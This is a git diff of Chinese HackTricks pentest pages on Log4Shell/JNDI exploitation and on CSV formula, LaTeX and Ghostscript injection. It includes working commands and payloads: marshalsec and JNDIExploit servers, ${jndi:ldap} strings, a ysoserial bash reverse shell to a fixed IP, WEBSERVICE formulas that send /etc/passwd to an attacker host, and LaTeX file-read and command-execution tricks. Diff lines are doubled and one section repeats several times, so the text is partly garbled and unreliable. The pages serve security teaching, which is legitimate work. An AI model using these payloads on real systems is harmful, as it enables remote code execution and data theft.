运行在 JDK 版本高于 6u141、7u131 或 8u121 上的主机受到 LDAP 类加载攻击向量的保护。这是因为默认情况下禁用了 `com.sun.jndi.ldap.object.trustURLCodebase`,阻止了 JNDI 通过 LDAP 加载远程代码库。然而,需要注意的是这些版本**不受反序列化攻击向量的保护**。
|
||||
在 JDK 版本高于 6u141、7u131 或 8u121 的主机上,已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 `com.sun.jndi.ldap.object.trustURLCodebase`,阻止了 JNDI 通过 LDAP 加载远程代码库。然而,需要注意的是这些版本**仍然无法防御反序列化攻击向量**。
|
||||
|
||||
对于试图利用这些较高 JDK 版本的攻击者,有必要利用 Java 应用程序中的**受信任小工具**。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反,利用较低 JDK 版本相对更容易,因为这些版本可以被操纵以加载和执行任意类。
|
||||
对于试图利用这些较高 JDK 版本的攻击者,有必要利用 Java 应用程序中的**受信任小工具**。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相比之下,利用较低 JDK 版本相对更容易,因为这些版本可以被操纵以加载和执行任意类。
|
||||
|
||||
要了解**更多信息**(_如 RMI 和 CORBA 向量的限制_),请查看前面的 JNDI 命名参考部分或[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - 使用自定义有效载荷的 Marshalsec
|
||||
|
||||
您可以在 **THM box** 中测试此操作:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
您可以在 **THM box** 中测试这个:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)(jar 版本可在[**此处**](https://github.com/RandomRobbieBF/marshalsec-jar)找到)。这种方法建立了一个 LDAP 引荐服务器,将连接重定向到一个次要的 HTTP 服务器,其中将托管利用程序:
|
||||
使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)(jar 版本可在[**这里**](https://github.com/RandomRobbieBF/marshalsec-jar)找到)。这种方法建立了一个 LDAP 引荐服务器,将连接重定向到一个次要的 HTTP 服务器,其中将托管利用程序:
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
|
@ -246,32 +244,32 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
将Java文件编译为类文件使用: `javac Exploit.java -source 8 -target 8`。接下来,在包含类文件的目录中启动**HTTP服务器**:`python3 -m http.server`。确保**marshalsec LDAP服务器**引用此HTTP服务器。
|
||||
使用以下命令将Java文件编译为类文件:`javac Exploit.java -source 8 -target 8`。接下来,在包含类文件的目录中启动**HTTP服务器**:`python3 -m http.server`。确保**marshalsec LDAP服务器**引用此HTTP服务器。
|
||||
|
||||
通过发送类似以下负载来触发对易受攻击的Web服务器上的exploit类的执行:
|
||||
通过发送类似以下负载的有效负载来触发对易受攻击的Web服务器上的exploit类的执行:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**注意:** 此漏洞依赖于Java的配置,允许通过LDAP加载远程代码库。如果不允许此操作,请考虑利用受信任的类执行任意代码。
|
||||
**注意:** 这个漏洞依赖于Java的配置,允许通过LDAP加载远程代码库。如果不允许这样做,请考虑利用受信任的类来执行任意代码。
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,由于发现了log4shell,作者在github上删除了此项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您希望尊重作者的决定,请使用其他方法来利用此漏洞。
|
||||
请注意,由于发现了log4shell,作者在github上删除了这个项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您希望尊重作者的决定,请使用其他方法来利用此漏洞。
|
||||
|
||||
此外,您无法在wayback machine中找到源代码,因此要么分析源代码,要么执行jar文件,但要知道您不知道自己在执行什么。
|
||||
此外,您无法在wayback machine中找到源代码,因此要么分析源代码,要么执行jar文件,知道您不知道自己在执行什么。
|
||||
{% endhint %}
|
||||
|
||||
例如,您可以在端口8080上运行此**易受log4shell影响的Web服务器**:[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)(_在README中您将找到如何运行它的说明_)。此易受攻击的应用程序正在使用易受攻击版本的log4shell记录HTTP请求标头_X-Api-Version_的内容。
|
||||
例如,您可以在端口8080上运行此**易受log4shell漏洞影响的Web服务器**:[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)(_在自述文件中您将找到如何运行它的说明_)。这个易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头_X-Api-Version_的内容。
|
||||
|
||||
然后,您可以下载**JNDIExploit** jar文件并执行以下操作:
|
||||
然后,您可以下载**JNDIExploit** jar文件并执行:
|
||||
```bash
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
阅读代码仅几分钟后,在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中,您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载,并将受害者重定向到HTTP服务器,后者将提供利用。\
|
||||
在_com.feihong.ldap.gadgets_中,您可以找到可用于执行所需操作(可能执行任意代码)的**一些特定小工具**。在_com.feihong.ldap.template_中,您可以看到将**生成利用**的不同模板类。
|
||||
在阅读代码仅几分钟后,在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中,您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载,并将受害者重定向到HTTP服务器,后者将提供利用。\
|
||||
在_com.feihong.ldap.gadgets_中,您可以找到**一些特定的小工具**,可用于执行所需的操作(可能执行任意代码)。在_com.feihong.ldap.template_中,您可以看到将**生成利用**的不同模板类。
|
||||
|
||||
您可以使用**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**查看所有可用的利用。一些有用的利用包括:
|
||||
```bash
|
||||
|
@ -280,7 +278,7 @@ ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
|||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||||
# But there are a lot more
|
||||
```
|
||||
因此,在我们的示例中,我们已经运行了那个存在漏洞的 Docker 应用程序。要对其发起攻击:
|
||||
因此,在我们的示例中,我们已经运行了那个存在漏洞的 Docker 应用程序。要对其发动攻击:
|
||||
```bash
|
||||
# Create a file inside of th vulnerable host:
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||||
|
@ -304,24 +302,24 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_这种利用自定义生成的Java对象的攻击在像**THM太阳房间**这样的实验室中可以使用。然而,这通常不会奏效(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。_
|
||||
_这种利用自定义生成的Java对象的攻击在类似**THM太阳房间**的实验室中可行。然而,通常情况下不会生效(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。_
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
这个选项对于攻击**仅信任指定类而不是所有人的Java版本**非常有用。因此,**ysoserial**将被用来生成**受信任类的序列化**,这些序列化可以被用作工具来**执行任意代码**(_ysoserial滥用的受信任类必须被受害者Java程序使用,以使利用生效_)。
|
||||
这个选项非常适用于攻击**仅信任指定类而不是所有人的Java版本**。因此,**ysoserial**将被用来生成**受信任类的序列化**,这些序列化可以被用作工具来**执行任意代码**(_ysoserial滥用的受信任类必须被受害者Java程序使用,以使利用生效_)。
|
||||
|
||||
使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)您可以创建反序列化利用,该利用将被JNDI下载:
|
||||
使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)可以创建反序列化利用,该利用将被JNDI下载:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**,在其中漏洞机器连接时等待利用。您可以使用JNDI-Exploit-Kit自动生成的**不同利用**,也可以使用您自己或ysoserial生成的**反序列化有效负载**。
|
||||
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**,在其中漏洞机器的连接等待漏洞利用。您可以使用JNDI-Exploit-Kit自动生成的**不同利用程序**,也可以使用您自己或ysoserial生成的**反序列化有效载荷**。
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
![](<../../.gitbook/assets/image (642) (1) (1).png>)
|
||||
|
||||
现在您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向 shell**,只需发送到一个受漏洞版本的 log4j:**`${ldap://10.10.14.10:1389/generated}`**
|
||||
现在,您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向 shell**,只需发送到一个受漏洞影响的log4j版本:**`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### 绕过方式
|
||||
```java
|
||||
|
@ -375,42 +373,30 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
### 环境查找
|
||||
|
||||
在[这个CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)中,攻击者控制了`${sys:cmd}`的值,并需要从环境变量中窃取标志。\
|
||||
如在[**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)页面中所见,有不同的方式可以访问环境变量,例如:**`${env:FLAG}`**。在这个CTF中这是无用的,但在其他现实场景中可能会有用。
|
||||
如在[**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)页面中所见,有不同的方式可以访问环境变量,比如:**`${env:FLAG}`**。在这个CTF中这是无用的,但在其他现实场景中可能会有用。
|
||||
|
||||
### 异常中的数据窃取
|
||||
|
||||
在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这有效是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
|
||||
在CTF中,你**无法访问java应用程序的stderr**,但Log4J的**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这有效是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
|
||||
|
||||
![](<../../.gitbook/assets/image (157).png>)
|
||||
|
||||
### 转换模式异常
|
||||
|
||||
在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`。** 这有效是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
|
||||
|
||||
![](<../../.gitbook/assets/image (157).png>)
|
||||
|
||||
### 转换模式异常
|
||||
|
||||
在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`。** 这有效是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
|
||||
|
||||
![](<../../.gitbook/assets/image (157).png>)
|
||||
|
||||
### 转换模式异常
|
||||
|
||||
只是提一下,你也可以注入新的[**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)并触发将被记录到`stdout`的异常。例如:
|
||||
仅提一下,你也可以注入新的[**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)并触发将记录到`stdout`的异常。例如:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||
|
||||
这并没有被发现有用于窃取错误消息中的日期,因为查找在转换模式之前没有解决,但对于其他事情如检测可能会有用。
|
||||
这并没有发现有用于在错误消息中窃取日期,因为查找在转换模式之前未解决,但对于其他事情如检测可能会有用。
|
||||
|
||||
### 转换模式正则表达式
|
||||
|
||||
然而,可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二进制搜索**或**基于时间**的行为来从查找中窃取信息。
|
||||
然而,可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二进制搜索**或**基于时间**的行为从查找中窃取信息。
|
||||
|
||||
- **通过异常消息进行二进制搜索**
|
||||
* **通过异常消息进行二进制搜索**
|
||||
|
||||
转换模式**`%replace`**可以用于**替换**字符串中的**内容**,甚至使用**正则表达式**。它的工作方式如下:`replace{pattern}{regex}{substitution}`\
|
||||
滥用这种行为,你可以使替换**如果正则表达式匹配**字符串中的任何内容则触发异常(如果未找到则不会有异常),就像这样:
|
||||
转换模式**`%replace`**可用于**替换**字符串中的**内容**,甚至使用**正则表达式**。它的工作方式如下:`replace{pattern}{regex}{substitution}`\
|
||||
滥用这种行为,你可以使替换**如果正则表达式匹配**字符串中的任何内容则触发异常(如果未找到则不会有异常),如下所示:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -419,9 +405,9 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
* **基于时间的攻击**
|
||||
|
||||
正如前一节中提到的,**`%replace`** 支持 **正则表达式**。因此,可以使用来自[**ReDoS页面**](../regular-expression-denial-of-service-redos.md)的有效载荷,在找到标志时引发**超时**。\
|
||||
例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的有效载荷会在那个CTF比赛中触发一个**超时**。
|
||||
例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的有效载荷会在那个CTF比赛中触发**超时**。
|
||||
|
||||
在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,它没有使用 ReDoS 攻击,而是使用了一种**放大攻击**来导致响应中的时间差异:
|
||||
在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,它没有使用 ReDoS 攻击,而是使用了**放大攻击**来导致响应中的时间差异:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -440,7 +426,7 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> 如果标志以 `flagGuess` 开头,整个标志将被替换为 29 个 `#`(我使用这个字符是因为它可能不是标志的一部分)。 **然后,每个生成的 29 个 `#` 都会被替换为 54 个 `#`**。这个过程重复进行 **6 次**,总共产生了 ` 29*54*54^6* =`` `` `**`96816014208` `#`**!**
|
||||
> 如果标志以 `flagGuess` 开头,整个标志将被替换为 29 个 `#`(我使用这个字符是因为它可能不是标志的一部分)。 **然后,每个生成的 29 个 `#` 都会被替换为 54 个 `#`**。 这个过程重复进行 **6 次**,总共产生了 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
>
|
||||
> 替换这么多 `#` 会触发 Flask 应用程序的 10 秒超时,从而导致向用户发送 HTTP 状态码 500。(如果标志不以 `flagGuess` 开头,我们将收到非 500 状态码)
|
||||
|
||||
|
@ -455,23 +441,16 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上关注我们。
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 公式/CSV/文档/LaTeX/GhostScript注入
|
||||
# 公式/CSV/文档/LaTeX/GhostScript 注入
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,28 +8,20 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 公式注入
|
||||
|
||||
### 信息
|
||||
|
||||
如果您的**输入**被**反射**到**CSV文件**(或任何可能会被**Excel**打开的文件)中,您可能可以放置Excel**公式**,当用户**打开文件**或用户**在Excel表格内点击某个链接**时,这些公式将被**执行**。
|
||||
如果您的**输入**被**反射**在**CSV文件**(或任何可能被**Excel**打开的文件)中,您可能可以放置Excel**公式**,当用户**打开文件**或用户在Excel表格中**点击某个链接**时,这些公式将被**执行**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
现在**Excel会警告**(多次)用户,当从Excel外部加载内容时,以防止他从事恶意行为。因此,必须对最终有效负载应用特别的社会工程学努力。
|
||||
现在**Excel会警告**(多次)用户,当从Excel外部加载内容时,以防止他进行恶意操作。因此,必须对最终有效负载应用特别的社会工程学努力。
|
||||
{% endhint %}
|
||||
|
||||
### [字典](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -49,30 +41,26 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
想象一下,通过CSV注入攻击利用了学生记录管理系统中的安全漏洞。攻击者的主要目的是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入到应用程序中,具体方法是在用于学生详细信息的字段中输入有害公式。攻击过程如下:
|
||||
|
||||
1. **注入恶意有效载荷:**
|
||||
- 攻击者提交学生详细信息表单,但包含电子表格中常用的公式(例如,`=HYPERLINK("<malicious_link>","Click here")`)。
|
||||
- 此公式旨在创建超链接,但指向攻击者控制的恶意服务器。
|
||||
|
||||
2. **导出受损数据:**
|
||||
- 由于不知道受损情况,教师使用应用程序的功能将数据导出到CSV文件中。
|
||||
- 当打开CSV文件时,仍然包含恶意有效载荷。此有效载荷在电子表格中显示为可点击的超链接。
|
||||
|
||||
3. **触发攻击:**
|
||||
- 教师点击超链接,认为它是学生详细信息的合法部分。
|
||||
- 点击后,敏感数据(可能包括电子表格或教师计算机中的详细信息)被传输到攻击者的服务器。
|
||||
|
||||
4. **记录数据:**
|
||||
- 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
|
||||
- 攻击者随后可以利用这些数据进行各种恶意用途,进一步危害学生和机构的隐私和安全性。
|
||||
|
||||
1. **注入恶意有效载荷:**
|
||||
* 攻击者提交学生详细信息表单,但包括电子表格中常用的公式(例如,`=HYPERLINK("<malicious_link>","Click here")`)。
|
||||
* 此公式旨在创建超链接,但指向攻击者控制的恶意服务器。
|
||||
2. **导出受损数据:**
|
||||
* 教师们不知道受到了威胁,使用应用程序的功能将数据导出到CSV文件中。
|
||||
* 打开CSV文件时,仍然包含恶意有效载荷。此有效载荷在电子表格中显示为可点击的超链接。
|
||||
3. **触发攻击:**
|
||||
* 教师点击超链接,认为这是学生详细信息的合法部分。
|
||||
* 点击后,敏感数据(可能包括电子表格或教师计算机中的详细信息)被传输到攻击者的服务器。
|
||||
4. **记录数据:**
|
||||
* 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
|
||||
* 攻击者随后可以利用这些数据进行各种恶意用途,进一步危害学生和机构的隐私和安全。
|
||||
|
||||
### RCE
|
||||
|
||||
**查看[原始帖子](https://notsosecure.com/data-exfiltration-formula-injection-part1)以获取更多详细信息。**
|
||||
**查看** [**原始帖子**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **以获取更多详细信息。**
|
||||
|
||||
在特定配置或较旧版本的Excel中,称为动态数据交换(DDE)的功能可用于执行任意命令。要利用此功能,必须启用以下设置:
|
||||
在特定配置或较旧版本的Excel中,可以利用称为动态数据交换(DDE)的功能来执行任意命令。要利用此功能,必须启用以下设置:
|
||||
|
||||
- 转到“文件”→“选项”→“信任中心”→“信任中心设置”→“外部内容”,并启用**动态数据交换服务器启动**。
|
||||
* 转到“文件”→“选项”→“信任中心”→“信任中心设置”→“外部内容”,并启用**动态数据交换服务器启动**。
|
||||
|
||||
当打开包含恶意有效载荷的电子表格(如果用户接受警告)时,将执行有效载荷。例如,要启动计算器应用程序,有效载荷将是:
|
||||
```markdown
|
||||
|
@ -89,11 +77,11 @@ LibreOffice Calc可用于读取本地文件并外泄数据。以下是一些方
|
|||
- 从本地 `/etc/passwd` 文件中读取第一行:`='file:///etc/passwd'#$passwd.A1`
|
||||
- 将读取的数据外泄到攻击者控制的服务器:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
- 外泄多行数据:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
- DNS外泄(将读取的数据作为DNS查询发送到受攻击者控制的DNS服务器):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
- DNS外泄(将读取的数据作为DNS查询发送到攻击者控制的DNS服务器):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### 用于带外(OOB)数据外泄的Google Sheets
|
||||
|
||||
Google Sheets提供可用于OOB数据外泄的函数:
|
||||
Google Sheets提供可用于带外数据外泄的函数:
|
||||
|
||||
- **CONCATENATE**:将字符串连接在一起 - `=CONCATENATE(A2:E2)`
|
||||
- **IMPORTXML**:从结构化数据类型导入数据 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
|
@ -104,19 +92,19 @@ Google Sheets提供可用于OOB数据外泄的函数:
|
|||
|
||||
## LaTeX注入
|
||||
|
||||
通常在互联网上找到的将LaTeX代码转换为PDF的服务器使用`pdflatex`。
|
||||
通常在互联网上找到的**将LaTeX代码转换为PDF**的服务器使用**`pdflatex`**。
|
||||
|
||||
该程序使用3个主要属性来(禁止)允许命令执行:
|
||||
|
||||
- **`--no-shell-escape`**:**禁用** `\write18{command}` 结构,即使在texmf.cnf文件中启用也是如此。
|
||||
- **`--shell-restricted`**:与`--shell-escape`相同,但仅限于一组“安全”的**预定义**\*\*命令(\*\*在Ubuntu 16.04中,列表位于`/usr/share/texmf/web2c/texmf.cnf`中)。
|
||||
- **`--no-shell-escape`**:**禁用** `\write18{command}` 结构,即使在 texmf.cnf 文件中启用也是如此。
|
||||
- **`--shell-restricted`**:与 `--shell-escape` 相同,但仅限于一组“安全”的**预定义**\*\*命令(\*\*在Ubuntu 16.04中,列表位于 `/usr/share/texmf/web2c/texmf.cnf`)。
|
||||
- **`--shell-escape`**:**启用** `\write18{command}` 结构。命令可以是任何shell命令。出于安全原因,通常禁止此结构。
|
||||
|
||||
然而,还有其他执行命令的方法,因此为了避免RCE,非常重要的是使用`--shell-restricted`。
|
||||
然而,还有其他执行命令的方法,因此为了避免RCE,非常重要的是使用 `--shell-restricted`。
|
||||
|
||||
### 读取文件 <a href="#read-file" id="read-file"></a>
|
||||
|
||||
您可能需要使用包装器进行调整,如\[或$。
|
||||
您可能需要使用包装器(如\[或$)调整注入。
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -174,7 +162,7 @@ Google Sheets提供可用于OOB数据外泄的函数:
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
如果遇到任何LaTex错误,请考虑使用base64来获取结果,以避免出现不良字符。
|
||||
如果您遇到任何LaTex错误,请考虑使用base64来获取结果,以避免出现不良字符
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -193,7 +181,7 @@ Google Sheets提供可用于OOB数据外泄的函数:
|
|||
```
|
||||
## Ghostscript注入
|
||||
|
||||
**查看[https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)**
|
||||
**检查** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -202,22 +190,16 @@ Google Sheets提供可用于OOB数据外泄的函数:
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
